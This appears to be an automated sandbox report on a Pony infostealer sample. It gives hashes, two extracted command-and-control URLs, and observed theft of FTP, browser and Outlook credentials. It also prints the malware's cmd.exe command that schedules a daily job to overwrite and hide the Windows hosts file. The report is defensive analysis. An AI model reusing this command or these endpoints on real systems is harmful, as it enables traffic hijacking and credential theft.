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Analysis
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max time kernel
117s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
15/12/2024, 04:53
Static task
static1
Behavioral task
behavioral1
Sample
f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe
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Size
92KB
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MD5
f2634d68ee5f6d43aeec44d75bed2e40
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SHA1
cfc9d8e6dce74776f61ae7523b6d62cac722649e
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SHA256
c0a4b867fa5ab4a6552709f77e2bd18cf9b863c6e7499622703be21d9c93d9da
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SHA512
a46eea7be5ee96eddf66fbd2f5959b6706f1e470efe736b60bedbe70c20b7b02099d819cc0fe2a7d65d0b939a2931015850f1a6a090a05b441b1772910485544
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SSDEEP
1536:IcEvya1spIM1GEN0L4QYVFhDp8QTtE8XgiPALbt9jITqbzhdm5f:IcEKaG2M1GEWL4QYVrTOijPubt9+qfh2
Malware Config
Extracted
pony
http://bjktyu.pw:4915/way/like.php
http://hsyujld.pw:4915/way/like.php
Signatures
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Pony family
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 2640 cmd.exe 2628 at.exe -
resource yara_rule behavioral1/memory/2532-2-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral1/memory/2532-4-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral1/memory/2532-10-0x0000000000400000-0x0000000000422000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeTcbPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeBackupPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeRestorePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeImpersonatePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeTcbPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeBackupPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeRestorePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeImpersonatePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeTcbPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeBackupPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeRestorePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeImpersonatePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeTcbPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeBackupPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeRestorePrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2532 wrote to memory of 2640 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe 31 PID 2532 wrote to memory of 2640 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe 31 PID 2532 wrote to memory of 2640 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe 31 PID 2532 wrote to memory of 2640 2532 f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe 31 PID 2640 wrote to memory of 2628 2640 cmd.exe 33 PID 2640 wrote to memory of 2628 2640 cmd.exe 33 PID 2640 wrote to memory of 2628 2640 cmd.exe 33 PID 2640 wrote to memory of 2628 2640 cmd.exe 33 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f2634d68ee5f6d43aeec44d75bed2e40_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:2532 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 04:56:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259464154aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\SysWOW64\at.exeat 04:56:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259464154aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:2628
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